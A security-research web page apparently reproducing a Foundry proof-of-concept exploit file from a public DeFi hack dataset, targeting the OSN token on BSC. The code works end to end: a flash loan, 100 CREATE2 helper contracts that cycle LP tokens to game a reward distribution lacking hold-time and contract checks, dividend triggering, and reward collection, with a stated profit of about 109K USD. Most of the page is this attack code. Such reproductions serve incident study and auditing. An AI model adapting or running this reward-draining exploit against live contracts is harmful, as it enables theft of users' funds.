Public reproduction file

src/test/2024-05/OSN_exp.sol

Public reproduction file for dataset entry OSN.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-05/OSN_exp.sol186 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// TX : https://app.blocksec.com/explorer/tx/bsc/0xc7927a68464ebab1c0b1af58a5466da88f09ba9b30e6c255b46b1bc2e7d1bf09
8// GUY : https://twitter.com/SlowMist_Team/status/1787330586857861564
9// Profit : ~109K USD
10// Here is only one tx,total you can see here :https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502#tokentxns
11// REASON : Reward Distribution Problem
12// Distribution contract did not check the LP hold time or whether the reciever is contract or not
13// Actually there are 3 steps
14// TX1:create help contract,split money : https://app.blocksec.com/explorer/tx/bsc/0xbf22eabb5db8785642ba17930bddef48d0d1bb94ebd1e03e7faa6f2a3d1a5540
15// TX2:help contract add Liq : https://app.blocksec.com/explorer/tx/bsc/0x69c64b226f8bf06216cc665ad5e3777ad1b120909326f120f0816ac65a9099c0
16// TX3:attack tx
17interface Imoney {
18    function addLiq(
19        uint256 value
20    ) external;
21    function cc() external;
22}
23 
24contract ContractTest is Test {
25    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
26    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
27    Uni_Pair_V3 pool = Uni_Pair_V3(0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4);
28    Uni_Pair_V2 wbnb_atm = Uni_Pair_V2(0x1F5b26DCC6721c21b9c156Bf6eF68f51c0D075b7);
29    Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
30    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
31    IERC20 OSN = IERC20(0x810f4C6AE97BCC66DA5Ae6383CC31BD3670f6d13);
32    IERC20 OSN_PAIR = IERC20(0x4EEDdCc7C8714A684311F8b01154B5686A0f612f);
33    uint256 constant PRECISION = 10 ** 18;
34    address test_contract = address(this);
35    uint256 borrow_amount;
36 
37    function setUp() external {
38        cheats.createSelectFork("bsc", 38_474_365);
39        deal(address(USDT), address(this), 0);
40    }
41 
42    function testExploit() external {
43        emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);
44        // borrow_amount = 500_000 ether;
45        borrow_amount = 500_009_458_043_549_158_462_637;
46        pool.flash(address(this), borrow_amount, 0, "");
47        emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);
48    }
49 
50    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, /*fee1*/ bytes memory /*data*/ ) public {
51        OSN.approve(address(router), type(uint256).max - 1);
52        USDT.approve(address(router), type(uint256).max - 1);
53        OSN_PAIR.approve(address(router), type(uint256).max - 1);
54        uint256 usdt_balance = USDT.balanceOf(address(this));
55        swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);
56        swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);
57        swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);
58        swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);
59        swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);
60        swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);
61        swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);
62        usdt_balance = USDT.balanceOf(address(this));
63        uint256 osn_balance = OSN.balanceOf(address(this)) - 100 * 1_000_000_000_000_000; //use to transfer to contract
64        console.log(usdt_balance, osn_balance);
65        router.addLiquidity(
66            address(USDT), address(OSN), usdt_balance, osn_balance, 0, 0, address(this), block.timestamp
67        );
68        console.log(OSN_PAIR.balanceOf(address(this)));
69        uint256 pair_balance = OSN_PAIR.balanceOf(address(this));
70        uint256 helpContractAmount = 100;
71        uint256 i = 0;
72        // step1 transfer money to the money contract
73        while (i < helpContractAmount) {
74            address money = cal_address(i);
75            USDT.transfer(money, 1_000_000_000_000_000);
76            OSN.transfer(money, 1_000_000_000_000_000);
77            i++;
78        }
79 
80        // step2 create contract & add liq
81        create_contract(helpContractAmount);
82 
83        // step 3 attack logic
84        i = 0;
85        while (i < helpContractAmount) {
86            address money = cal_address(i);
87            OSN_PAIR.transfer(money, pair_balance);
88            Imoney(money).addLiq(pair_balance);
89            i++;
90        }
91        router.removeLiquidity(
92            address(USDT), address(OSN), OSN_PAIR.balanceOf(address(this)), 0, 0, address(this), block.timestamp
93        );
94        i = 0;
95        while (i < 10) {
96            // Activate divided
97            swap_token_to_ExactToken(address(USDT), address(OSN), 10_000 ether, usdt_balance);
98            swap_token_to_token(address(OSN), address(USDT), OSN.balanceOf(address(this)));
99            i++;
100        }
101        i = 0;
102        while (i < helpContractAmount) {
103            // collect reward
104            address money = cal_address(i);
105            Imoney(money).cc();
106            i++;
107        }
108 
109        USDT.transfer(address(pool), borrow_amount + fee0);
110    }
111 
112    function swap_token_to_ExactToken(address a, address b, uint256 amountout, uint256 amountInMax) internal {
113        IERC20(a).approve(address(router), amountInMax);
114        address[] memory path = new address[](2);
115        path[0] = address(a);
116        path[1] = address(b);
117        router.swapTokensForExactTokens(amountout, amountInMax, path, address(this), block.timestamp);
118    }
119 
120    function swap_token_to_token(address a, address b, uint256 amount) internal {
121        IERC20(a).approve(address(router), amount);
122        address[] memory path = new address[](2);
123        path[0] = address(a);
124        path[1] = address(b);
125        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
126    }
127 
128    function create_contract(
129        uint256 times
130    ) internal {
131        uint256 i = 0;
132        while (i < times) {
133            bytes memory bytecode = type(Money).creationCode;
134            uint256 _salt = i;
135            bytecode = abi.encodePacked(bytecode);
136            bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
137            address hack_contract = address(uint160(uint256(hash)));
138            // console.log(hack_contract);
139            address addr;
140            // Use create2 to send money first.
141            assembly {
142                addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
143            }
144            i++;
145        }
146    }
147 
148    function cal_address(
149        uint256 time
150    ) internal returns (address) {
151        bytes memory bytecode = type(Money).creationCode;
152        uint256 _salt = time;
153        bytecode = abi.encodePacked(bytecode);
154        bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
155        address hack_contract = address(uint160(uint256(hash)));
156        return hack_contract;
157    }
158}
159 
160contract Money {
161    Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
162    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
163    IERC20 OSN = IERC20(0x810f4C6AE97BCC66DA5Ae6383CC31BD3670f6d13);
164    IERC20 OSN_PAIR = IERC20(0x4EEDdCc7C8714A684311F8b01154B5686A0f612f);
165    address owner;
166 
167    constructor() {
168        owner = msg.sender;
169        OSN_PAIR.approve(address(router), type(uint256).max - 1);
170        USDT.approve(address(router), type(uint256).max - 1);
171        OSN.approve(address(router), type(uint256).max - 1);
172        router.addLiquidity(address(USDT), address(OSN), 100_000, 100_000, 0, 0, address(this), block.timestamp);
173    }
174 
175    function addLiq(
176        uint256 value
177    ) public {
178        router.removeLiquidity(address(USDT), address(OSN), 35_524, 0, 0, address(this), block.timestamp);
179        OSN_PAIR.transfer(address(owner), value);
180    }
181 
182    function cc() public {
183        router.addLiquidity(address(USDT), address(OSN), 100_000, 100_000, 0, 0, address(this), block.timestamp);
184        USDT.transfer(address(owner), USDT.balanceOf(address(this)));
185    }
186}

Analysis

Dataset entry

Public Foundry test for “OSN” (2024-05-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-05/Burner_exp.solSame month in the dataset · 63 lines
src/test/2024-05/EXcommunity_exp.solSame month in the dataset · 139 lines
src/test/2024-05/GFOX_exp.solSame month in the dataset · 69 lines
src/test/2024-05/GPU_exp.solSame month in the dataset · 74 lines
src/test/2024-05/Liquiditytokens_exp.solSame month in the dataset · 194 lines
src/test/2024-05/MetaDragon_exp.solSame month in the dataset · 49 lines
src/test/2024-05/MixedSwapRouter_exp.solSame month in the dataset · 188 lines
src/test/2024-05/NORMIE_exp.solSame month in the dataset · 138 lines
src/test/2024-05/PredyFinance_exp.solSame month in the dataset · 181 lines
src/test/2024-05/RedKeysCoin_exp.solSame month in the dataset · 76 lines
src/test/2024-05/SATURN_exp.solSame month in the dataset · 133 lines
src/test/2024-05/SCROLL_exp.solSame month in the dataset · 68 lines
src/test/2024-05/Sonne_exp.solSame month in the dataset · 185 lines
src/test/2024-05/TCH_exp.solSame month in the dataset · 277 lines
src/test/2024-05/TGC_exp.solSame month in the dataset · 74 lines
src/test/2024-05/Tradeonorion_exp.solSame month in the dataset · 346 lines
src/test/2024-05/TSURU_exp.solSame month in the dataset · 97 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name: OSN
Path: src/test/2024-05/OSN_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 872101d956b39c56732ad5597635d04386d6fb37
Language: Solidity
Size: 187 lines
Date: 2024-05-06
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-05/OSN_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 872101d956b39c56732ad5597635d04386d6fb37, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.